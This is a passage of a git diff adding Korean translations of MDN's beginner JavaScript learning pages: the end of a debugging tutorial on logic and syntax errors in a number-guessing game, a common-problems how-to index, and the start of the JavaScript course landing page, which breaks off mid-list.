+<p>이제, 프로그램은 잘 작동되지만, 몇 번 프로그램을 돌리면 추측해야 할 수가 항상 1이라는 것을 명백히 알 수 있다. 즉, 프로그램의 목표에 어긋난다는 것이다.</p>
+
+<p>이는 분명 어딘가에 프로그램 논리적으로 무슨 문제가 있다는 것이다.(물론, 에러가 검출되지도 않고, 잘 작동된다)</p>
+
+<ol>
+ <li><code>randomNumber</code> 변수를 찾고, 임의의 수를 처음으로 지정된 곳도 찾는다. 임의의 수가 저장된 부분은 아마 44번 줄 언저리일 것이다.
+
+  <pre class="brush: js">var randomNumber = Math.floor(Math.random()) + 1;</pre>
+  또한 한 게임이 끝나면 다시 임의의 수를 지정하는 부분은 아마 113번 줄 정도일 것이다.<br>
+
+  <pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1;</pre>
+ </li>
+ <li><code><font face="Open Sans, Arial, sans-serif">이 줄에서 문제가 발생되었는지 알기위해, </font>console.log()</code> 를 불러오자. 다음 코드를 앞선 두 코드 아래에 넣는 것도 잊지 말자.
+  <pre class="brush: js">console.log(randomNumber);</pre>
+ </li>
+ <li>저장하고, 새로고침하게되면 randomNumer 변수가 항상 1이 콘솔창에 표시되는 것을 알 수 있다.</li>
+</ol>
+
+<h3 id="논리에_대한_고찰">논리에 대한 고찰</h3>
+
+<p>고치기 전에, 이 코드가 무슨 역할을 하는지 살펴보자. 먼저, 0과 1사이의  임의의 10진수를 생성하는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> </code>을 살펴보자.</p>
+
+<pre class="brush: js">Math.random()</pre>
+
+<p>다음으로 가장 가까운 정수로 전달되는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code><font face="Open Sans, arial, sans-serif">안의</font><code> Math.random()</code>의 결과는 넘어간다<code>.</code> 그러고 결과값에 1을 더한다.</p>
+
+<pre>Math.floor(Math.random()) + 1</pre>
+
+<p>0과 1사이의 임의의 10진수와 가장 가까운 수 중에 작은 수는 항상 0이므로, 여기서 1을 더하면 항상 1이 된다.  따라서 가까운 수를 찾기전에 임의수에 100을 곱해야 한다. 다음 코드는 곧 0과 99사이의 수를 나타낸다.</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100);</pre>
+
+<p>그러므로 여기서 1을 더하게 되면, 우리가 원하는 1과 100사이의 수가 될 것이다.</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100) + 1;</pre>
+
+<p>코드를 위와 같이 고치고, 저장 후 새로고침해보자. 그러면 프로그램은 우리가 생각하는 대로 작동될 것이다.</p>
+
+<h2 id="다른_일반적인_에러">다른 일반적인 에러</h2>
+
+<p>코드상에서 맞딱드릴 수 있는 에러는 여러가지가 있다. 이번 섹션은 이러한 에러들에 대해 말해줄 것이다.</p>
+
+<h3 id="SyntaxError_missing_before_statement">SyntaxError: missing ; before statement</h3>
+
+<p>이번 에러는 일반적으로 코드의 끝부분에 세미콜론이 빠졌을 때 발생하지만, 때로는 헷갈릴 때도 있다. 예를 들어 <code>checkGuess()</code> 함수안의 코드를 고칠때를 살펴보자.</p>
+
+<pre class="brush: js">var userGuess = Number(guessField.value);</pre>
+
+<p>이 코드를 다음코드로 바꾼다.</p>
+
+<pre class="brush: js">var userGuess === Number(guessField.value);</pre>
+
+<p>당연히 이 둘의 코드가 다르기때문에 오류가 발생했을 것이다. 즉, 대입 연산자(=, 값을 변수에 지정하도록 함)와 비교연산자(===, 어떤 값과 다른값을 비교할때 쓰며, true와false중 하나가 반환됨)를 함께 혼동해서 쓰면 안된다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: missing ; before statement</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="어떤_값을_입력해도_항상_성공표시가_뜬다.">어떤 값을 입력해도, 항상 성공표시가 뜬다.</h3>
+
+<p>이 또한, 앞처럼 대입연산자와 비교연산자를 혼동해서 사용한 경우이다. 예를들어, <code>checkGuess()</code>함수 안의 다음코드</p>
+
+<pre class="brush: js">if (userGuess === randomNumber) {</pre>
+
+<p>를</p>
+
+<pre class="brush: js">if (userGuess = randomNumber) {</pre>
+
+<p>로 바꾼다면, 조건문은 항상 참이므로, 프로그램은 항상 성공했다고 뜰 것이니 주의하자!</p>
+
+<h3 id="SyntaxError_missing_after_argument_list">SyntaxError: missing ) after argument list</h3>
+
+<p>이는 보통 함수나 메소드 호출의 끝부분에 괄호 닫는것을 빼먹은 것을 의미한다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3>
+
+<p>이 오류는 자바스립트의 객체가 잘못되었을 때 발생하지만,  다음의 경우에는 변경할 수 있다.</p>
+
+<pre class="brush: js">function checkGuess() {</pre>
+
+<p>-&gt;</p>
+
+<pre class="brush: js">function checkGuess( {</pre>
+
+<p>이는 브라우저로 하여금 함수안의 컨텐츠를 인자로 함수에게 넘겨주는 역할을 한다. 괄호에 주의하도록 하자!</p>
+
+<h3 id="SyntaxError_missing_after_function_body">SyntaxError: missing } after function body</h3>
+
+<p>일반적으로 함수나 조건문에서 중괄호를 닫지 않아서 발생한다.  <code>checkGuess()</code> 함수의 아래부분의 중괄호를 닫지않아서 에러가 발생한다.</p>
+
+<h3 id="SyntaxError_expected_expression_got_string_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' or SyntaxError: unterminated string literal</h3>
+
+<p>이는 보통 문자열을 열거나 닫는 따옴표를 생략한 경우 에러가 발생한다.위의 첫번재 에러를 살펴보면, <em>string은</em> 문자열이 시작하는 부분에서 따옴표 대신 브라우저가 검색한 예상치 못한 문자열로 대체된다. 두번째 에러는 따옴표로 문자열이 끝나지 못했기 때문에 발생했다.</p>
+
+<p>모든 경우의 에러를 보았을 때, 지금까지 살펴본 예제에 어떻게 씨름했는지 생각해보자. 에러가 발생하면 , 발생된 줄 번호를 보고, 그 줄로 이동해 무엇이 잘못되었는지 살펴보는것이다.  이 오류가 반드시 해당 라인에 있는 것은 아니며, 위에서 언급되어진 문제로 인해  오류가 발생하지 않을 수도 있다는 점을 명심하자!</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a> reference pages for more details about these errors.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>자, 지끔까지 자바스크립트 프로그램에서의 에러의 특징에 대해 살펴보았다.물론, 코드상의 에러가 항상 간단한 것만은 아니다. 하지만 최소한 업무량은 줄어줄 것이며, 작업도 빠르게 마치도록 해줄 것이다.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<div>
+<ul>
+ <li>여기서 소개하지 못한 에러들도 많으니, 다음 링크에서 정보들을 찾아보며 그때그때 자세히 알아보자l — <a href="/en-US/docs/Web/JavaScript/Reference/Errors">JavaScript error reference</a>.</li>
+ <li>이것을 보고도 에러를 해결하지 힘들다면 <span class="short_text" id="result_box" lang="ko"><span>MDN 토론 포럼 </span></span>로 에러를 보내면 도와줄 것이다. 또한 다른 코드를 살펴보는 것도 좋다.</li>
+</ul>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p>
diff --git a/files/ko/learn/javascript/howto/index.html b/files/ko/learn/javascript/howto/index.html
new file mode 100644
index 0000000000..7af2a007be
--- /dev/null
+++ b/files/ko/learn/javascript/howto/index.html
@@ -0,0 +1,294 @@
+---
+title: Solve common problems in your JavaScript code
+slug: Learn/JavaScript/Howto
+tags:
+  - 자바스크립트
+  - 초보자
+  - 학습
+translation_of: Learn/JavaScript/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<div>다음의 링크들은 당신의 자바스크립트 코드가 정상적으로 작동할 수 있게 고쳐야되는 흔한 문제들의 해결책을 제시한다.</div>
+
+<h2 id="초보자들의_흔한_실수들">초보자들의 흔한 실수들</h2>
+
+<h3 id="스펠링과_대소문자를_제대로_해라">스펠링과 대소문자를 제대로 해라</h3>
+
+<p>코드가 작동하지 않거나 브라우저가 무언가가 undefined라고 불평하면 모든 변수 이름, 함수 이름 등을 정확하게 입력했는지 확인하십시오. </p>
+
+<p>문제를 일으키는 몇 가지 일반적인 내장 브라우저 함수는 다음과 같습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">올바른</th>
+   <th scope="col">잘못된</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>getElementsByTagName()</code></td>
+   <td><code>getElementbyTagName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByName()</code></td>
+   <td><code>getElementByName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByClassName()</code></td>
+   <td><code>getElementByClassName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementById()</code></td>
+   <td><code>getElementsById()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="세미콜론의_위치">세미콜론의 위치</h3>
+
+<p>세미콜론의 위치가 잘못 되지 않았는지 확인하세요. 예를들어:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">올바른</th>
+   <th scope="col">잘못된</th>
+  </tr>
+  <tr>
+   <td><code>elem.style.color = 'red';</code></td>
+   <td><code>elem.style.color = 'red;'</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="함수">함수</h3>
+
+<p>함수와 관련하여 실수할 수 있는 것들이 많이 있습니다.</p>
+
+<p>가장 흔한 실수는 함수를 선언하고 어디서도 호출하지 않는 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">function myFunction() {
+  alert('This is my function.');
+};</pre>
+
+<p>위 코드는 호출하지 않는 이상 아무것도 하지 않습니다.</p>
+
+<pre class="brush: js">myFunction();</pre>
+
+<h4 id="함수_스코프">함수 스코프</h4>
+
+<p><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">함수는 각자의 스코프가 있음</a>을 명심하세요 — 변수를 전역으로 선언하거나 함수에서 <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">값을 리턴</a>하지 않는한 함수 밖에서 함수 내부에 설정된 변수 값에 접근 할 수 없습니다. (즉, 어떠한 함수 내에서도 접근 안됨)</p>
+
+<h4 id="리턴_문_이후_코드_실행">리턴 문 이후 코드 실행</h4>
+
+<p>함수 밖으로 값을 리턴할 때, 자바스크립트 인터프리터가 함수를 완전히 빠져나감을 명심하세요.  — 리턴 문 이후에 선언된 코드는 절대로 실행되지 않습니다.</p>
+
+<p>사실, 몇몇 브라우저들은 (파이어폭스 처럼) 리턴 문 이후에 코드가 있다면 개발자 콘솔에 에러 메세지를 줍니다. 파이어폭스는 "unreachable code after return statement" 라고 알려줍니다.</p>
+
+<h3 id="오브젝트_표기_vs_일반적_할당">오브젝트 표기 vs 일반적 할당</h3>
+
+<p>보통 자바스크립테어서 무언가를 할당하려고 할때, 단일 등호기호를 사용합니다. 예:</p>
+
+<pre class="brush: js">const myNumber = 0;</pre>
+
+<p>하지만, 이 방법은 <a href="/en-US/docs/Learn/JavaScript/Objects">오브젝트</a>에선 동작하지 않습니다. — 오브젝트에선 멤버와 값 사이를 콜론으로 구분하고, 각 멤버들은 콤마로 구분합니다, 예를 들어:</p>
+
+<pre class="brush: js">const myObject = {
+  name: 'Chris',
+  age: 38
+}</pre>
+
+<h2 id="기본_정의">기본 정의</h2>
+
+<div class="column-container">
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#A_high-level_definition">자바스크립트란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#What_is_a_variable">변수는 무엇인가?</a> </li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">문자열은 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#What_is_an_Array">배열은 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">루프는 무엇인가?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">함수는 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">What is an event?</a> <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">이벤트는 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">오브젝트는 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#No_really_what_is_JSON">JSON은 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#What_are_APIs">web API는 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">DOM은 무엇인가?</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Basic_use_cases">Basic use cases</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="General">General</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#How_do_you_add_JavaScript_to_your_page">How do you add JavaScript to your page?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Comments">How do you add comments to JavaScript code?</a></li>
+</ul>
+
+<h3 id="Variables">Variables</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Declaring_a_variable">How do you declare a variable?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Initializing_a_variable">How do you initialize a variable with a value?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Updating_a_variable">How do you update a variable's value?</a> (also see <a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Assignment_operators">Assignment operators</a>)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Variable_types">What data types can values have in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Loose_typing">What does 'loosely typed' mean?</a></li>
+</ul>
+
+<h3 id="Math">Math</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Types_of_numbers">What types of number do you have to deal with in web development?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Arithmetic_operators">How do you do basic math in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Operator_precedence">What is operator precedence, and how is it handled in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Increment_and_decrement_operators">How do you increment and decrement values in JavaScript?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">How do you compare values in JavaScript?</a> (e.g. to see which one is bigger, or to see if one value is equal to another).</li>
+</ul>
+
+<h3 id="Strings">Strings</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Creating_a_string">How do you create a string in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Single_quotes_versus_double_quotes">Do you have to use single quotes or double quotes?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Escaping_characters_in_a_string">How do you escape characters in strings?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">How do you join strings together?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">Can you join strings and numbers together?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_the_length_of_a_string">How do you find the length of a string?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">How you find what character is at a certain position in a string?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_a_substring_inside_a_string_and_extracting_it">How do you find and extract a specific substring from a string?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Changing_case">How do you change the case of a string?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Updating_parts_of_a_string">How do you replace one specific substring with another?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Arrays">Arrays</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Creating_an_array">How do you create an array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Accessing_and_modifying_array_items">How do you access and modify the items in an array?</a> (this includes multidimensional arrays)</li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Finding_the_length_of_an_array">How do you find the length of an array?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Adding_and_removing_array_items">How you add and remove array items?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Converting_between_strings_and_arrays">How do you split a string into array items, or join array items into a string?</a></li>
+</ul>
+
+<h3 id="Debugging_JavaScript">Debugging JavaScript</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Types_of_error">What are the basic types of error?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools, and how do you access them?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#The_Console_API">How do you log a value to the JavaScript console?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_the_JavaScript_debugger">How do you use breakpoints, and other JavaScript debugging features?</a></li>
+</ul>
+
+<p>For more information on JavaScript debugging, see <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a>; also see <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Other_common_errors">Other common errors</a> for a description of common errors.</p>
+
+<h3 id="Making_decisions_in_code">Making decisions in code</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">How do you execute different blocks of code, depending on a variable's value or other condition?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">How do you use if ...else statements?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Nesting_if_..._else">How do nest one decision block inside another?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Logical_operators_AND_OR_and_NOT">How do you use AND, OR, and NOT operators in JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#switch_statements">How do you conveniently handle a large number of choices for one condition?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Ternary_operator">How do you use a ternary operator to make a quick choice between two options based on a true or false test?</a></li>
+</ul>
+
+<h3 id="Loopingiteration">Looping/iteration</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">How do you run the same bit of code over and over again?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Exiting_loops_with_break">How do you exit a loop before the end if a certain condition is met?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Skipping_iterations_with_continue">How do you skip to the next iteration of a loop if a certain condition is met?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">How do you use while and do ... while loops?</a></li>
+ <li>How to iterate over the elements in an array</li>
+ <li>How to iterate over the elements in a multidimensional array</li>
+ <li>How to iterate over the members in an object</li>
+ <li>How to iterate over the members of an object nested inside an array</li>
+</ul>
+</div>
+</div>
+
+<h2 id="Intermediate_use_cases">Intermediate use cases</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">How do you find functions in the browser?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Functions_versus_methods">What is the difference between a function and a method?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">How do you create your own functions?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Invoking_functions">How do you run (call, or invoke) a function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">What is an anonymous function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_parameters">How do you specify parameters (or arguments) when invoking a function?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">What is function scope?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">What are return values, and how do you use them?</a></li>
+</ul>
+
+<h3 id="Objects">Objects</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">How do you create an object?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Dot_notation">What is dot notation?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Bracket_notation">What is bracket notation?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Setting_object_members">How do you get and set the methods and properties of an object?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#What_is_this">What is <code>this</code>, in the context of an object?</a></li>
+ <li><a href="/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">What is object-oriented programming?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Constructors_and_object_instances">What are constructors and instances, and how do you create them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Other_ways_to_create_object_instances">What different ways are there to create objects in JavaScript?</a></li>
+</ul>
+
+<h3 id="JSON">JSON</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#JSON_structure">How do you structure JSON data, and read it from JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Loading_our_JSON">How can you load a JSON file into a page?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">How do you convert a JSON object to a text string, and back again?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Events">Events</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_handler_properties">What are event handlers and how do you use them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">What are inline event handlers?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#addEventListener()_and_removeEventListener()">What does the <code>addEventListener()</code> function do, and how do you use it?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#What_mechanism_should_I_use">Which mechanism should I use to add event code to my web pages?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">What are event objects, and how do you use them?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Preventing_default_behaviour">How do you prevent default event behaviour?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">How do events fire on nested elements? (event propagation, also related — event bubbling and capturing)</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_delegation">What is event delegation, and how does it work?</a></li>
+</ul>
+
+<h3 id="Object-oriented_JavaScript">Object-oriented JavaScript</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">What are object prototypes?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#The_constructor_property">What is the constructor property, and how can you use it?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#Modifying_prototypes">How do you add methods to the constructor?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">How do you create a new constructor that inherits its members from a parent constructor?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#Object_member_summary">When should you use inheritance in JavaScript?</a></li>
+</ul>
+
+<h3 id="Web_APIs">Web APIs</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#Active_learning_Basic_DOM_manipulation">How do you manipulate the DOM (e.g. adding or removing elements) using JavaScript?</a></li>
+</ul>
+
+<p> </p>
+</div>
+</div>
diff --git a/files/ko/learn/javascript/index.html b/files/ko/learn/javascript/index.html
new file mode 100644
index 0000000000..b45501e751
--- /dev/null
+++ b/files/ko/learn/javascript/index.html
@@ -0,0 +1,70 @@
+---
+title: JavaScript - 동적인 클라이언트측 스크립트 언어
+slug: Learn/JavaScript
+tags:
+  - Beginner
+  - JavaScript
+  - 입문
+  - 입문자
+  - 자바스크립트
+  - 자바스크립트 입문자
+translation_of: Learn/JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{Glossary("JavaScript")}} 는 웹 페이지의 복잡한 것들을 구현할 수 있는 프로그래밍 언어입니다. 웹페이지는 단순히 변하지 않고 정적인 정보들만 보여주는 것 이상의 일을 합니다. 시간의 흐름에 따라 업데이트 되는 콘텐츠, 동적인 지도와 움직이는 2D/3D 그래픽, 또는 스크롤 가능한 비디오 쥬크박스들과 여러 가지들을 보여줍니다. 여러분은 '아마도 JavaScript 그 일들을 하고 있겠구나'라고 생각하실 수 있습니다.</p>
+
+<h2 id="학습_과정">학습 과정</h2>
+
+<p>JavaScript 는 HTML 이나 CSS 와 같은 관련 기술들보다 배우기가 더 어렵습니다. JavaScript 에 입문하기 전에, 적어도 아래의 두가지 기술을 먼저 배우고, 아마도 다른 것들도 배우는 것이 좋습니다. 다음 과정들을 통해 시작하세요.</p>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Getting_started_with_the_web">Web과 함께 시작하기</a></li>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a></li>
+</ul>
+
+<p>다른 프로그래밍 언어를 배웠던 경험이 있다면 도움이 될 수도 있습니다.</p>
+
+<p>JavaScript 의 기본적인 것들이 익숙해진 이후에, 여러분은 더 고급 주제들을 배울 준비가 되어 있어야 합니다. 예를 들면 다음과 같습니다.</p>
+
+<ul>
+ <li>JavaScript 심화, <a href="/ko/docs/Web/JavaScript/Guide">자바스크립트 안내서</a></li>
+ <li><a href="/ko/docs/Web/API">웹 API 참조문서</a></li>
+</ul>
+
+<h2 id="과정">과정</h2>
+
+<p>이 주제에는 다음 과정들이 제안된 순서대로 포함되어 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps">자바스크립트 첫걸음</a></dt>
+ <dd>JavaScript 과정에서, JavaScript를 이용해 첫번째 경험을 쌓기 이전에 "JavaScript 는 무엇인가요?", "어떻게 생겼나요?", 그리고 "그것으로 무엇을 할 수 있죠?" 와 같은 질문에 대답 할 수 있어야 합니다. 그 이후에, 변수, 문자열, 숫자 그리고 배열과 같은 JavaScript 의 기능에 대해 살펴봅시다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성 요소</a></dt>
+ <dd>이 과정에서는, 조건문, 반복문, 함수, 그리고 이벤트와 같이 일반적으로 쓰이며 괄호로 감싸여진 형태인 JavaScript 의 핵심적인 기본 기능들을 살펴볼 것입니다. 여러분은 이미 이것들에 대해 이미 보셨겟지만, 그저 지나쳤을 것이니, 우리는 이것에 대해 자세히 살펴볼 것입니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects">JavaScript 객체 소개</a></dt>
+ <dd>JavaScript 에서는 문자열과 배열같은 핵심적인 JavaScript 기능부터 JavaScript 보다 위에 작성된 브라우저의 API 까지 거의 대부분이 객체입니다. 심지어 관련 함수와 변수들을 효율적인 패키지로 캡슐화하기 위해 객체를 만들 수도 있습니다. 여러분이 언어에 대한 이해도를 높이고 효율적으로 코드를 작성하기 위해서라면 JavaScript 의 객체 지향적인 특성을 이해하는 것이 중요합니다. 따라서 우리는 이 과정을 통해 여러분을 도와드릴 것입니다. 여기에서는 객체 이론과 문법에 대해 설명하고 어떻게 객체를 만들고, JSON 데이터가 무엇이고 어떻게 작동하는지에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Asynchronous">비동기적 JavaScript</a> </dt>
+ <dd>
